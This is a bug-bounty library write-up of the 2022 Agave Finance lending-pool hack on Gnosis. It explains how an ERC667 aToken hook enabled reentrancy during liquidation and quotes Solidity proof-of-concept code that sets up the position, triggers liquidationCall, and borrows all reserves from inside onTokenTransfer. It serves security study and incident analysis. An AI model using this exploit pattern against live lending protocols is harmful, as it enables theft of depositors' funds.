# Agave Finance: ERC667 reentrancy in liquidation drains pool

Agave Finance lending pool on Gnosis suffered ERC667 reentrancy during liquidation, letting attacker drain ~$1.5M via flashloan and recursive borrow.

- Payout: Real-world hack
- Severity: critical
- Program: Agave Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-03-15
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-03/Agave_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220315-agave
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:flash-loan vuln:reentrancy

**Target:** Agave lending pool v1 (Aave v2 fork) on Gnosis
**Root cause:** The aToken's ERC667 transfer hook (onTokenTransfer) is invoked during liquidation's burn, allowing reentrancy into borrow/deposit before state is finalized, enabling manipulation of health factor and draining reserves.
**Steps:**
1. Set up position with LINK and WETH deposits, enable as collateral, borrow small amounts to get health factor slightly above 1.
2. Advance time by 1 hour and block by 1 to push health factor below 1 due to interest.
3. Flashloan WETH (simulated via uniswapV2Call) and deposit into lending pool.
4. Call `lendingPool.liquidationCall(weth, weth, address(this), 2, false)` to trigger reentrancy via aToken burn hook.
5. In `onTokenTransfer` (called twice), on second call execute `borrowTokens()` which deposits remaining WETH and borrows all available liquidity from other assets.
6. Withdraw all aWETH and repay flashloan, keeping profit.
**How found:** Likely identified the ERC667 token standard's transfer hook as a reentrancy vector during liquidation, where state updates occur after external calls.
**Exploitation:** Attacker used a flashloan to fund the attack, set up a position with health factor just above 1, advanced time to drop it below 1, then called liquidationCall which triggered the ERC667 hook on aToken burn. The hook reentered to deposit and borrow all available liquidity from multiple reserves, then withdrew the aWETH and repaid the flashloan, netting ~$1.5M.
**Escalation:** Reentrancy allowed borrowing across all pools, not just WETH, maximizing drained funds.
**Insight:** When a lending protocol uses ERC667 tokens (with transfer hooks), liquidation calls that burn aTokens can reenter before debt/collateral state is updated, allowing recursive borrowing. Check for hooks in aToken implementations.

## Proof of concept (copied exactly from the original report)

**Reentrancy trigger via liquidationCall and onTokenTransfer**

```
lendingPool.liquidationCall(weth, weth, address(this), 2, false);
        //This will withdraw the funds from weth lending pool
        lendingPool.withdraw(weth, _getTokenBal(aweth), address(this));
        //For test case we just send it to address(1) to reduce the flashloan debt amount from us to get final assets
        WETH.transfer(address(1), ((ethFlashloanAmt * 1000) / 997) + 1);
    }

    function _borrow(
        address asset
    ) internal {
        uint256 reserveTokenbal = _getAvailableLiquidity(asset);
        uint256 BorrowAmount = reserveTokenbal > 2 ? reserveTokenbal - 1 : 0;
        if (BorrowAmount > 0) lendingPool.borrow(asset, BorrowAmount, 2, 0, address(this));
    }

    //NOTE: boostLTVHack deposits weth from flashloan to increase health and borrows wethliqbeforehack at the end
    function borrowTokens() internal boostLTVHack {
        // Borrow all assets except weth (which is at index 5)
        for (uint i = 0; i < 5; i++) {
            _borrow(fundingTokens[i]);
        }
    }

    function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
        if (_from == aweth && _value == 1) {
            callCount++;
            if (callCount == 2) {
                borrowTokens();
            }
```

**Setup health factor below 1 via deposits and borrows**

```
lendingPool.deposit(link, linkLendNum1, address(this), 0);
        lendingPool.deposit(weth, wethlendnum2, address(this), 0);

        //Enable asset as collateral

        lendingPool.setUserUseReserveAsCollateral(link, true);
        lendingPool.setUserUseReserveAsCollateral(weth, true);

        //Borrow initial setup prepare debts
        lendingPool.borrow(link, linkDebt3, 2, 0, address(this));
        lendingPool.borrow(weth, wethDebt4, 2, 0, address(this));

        //Withdraw as per tx
        lendingPool.withdraw(link, linkWithdraw5, address(this));
```

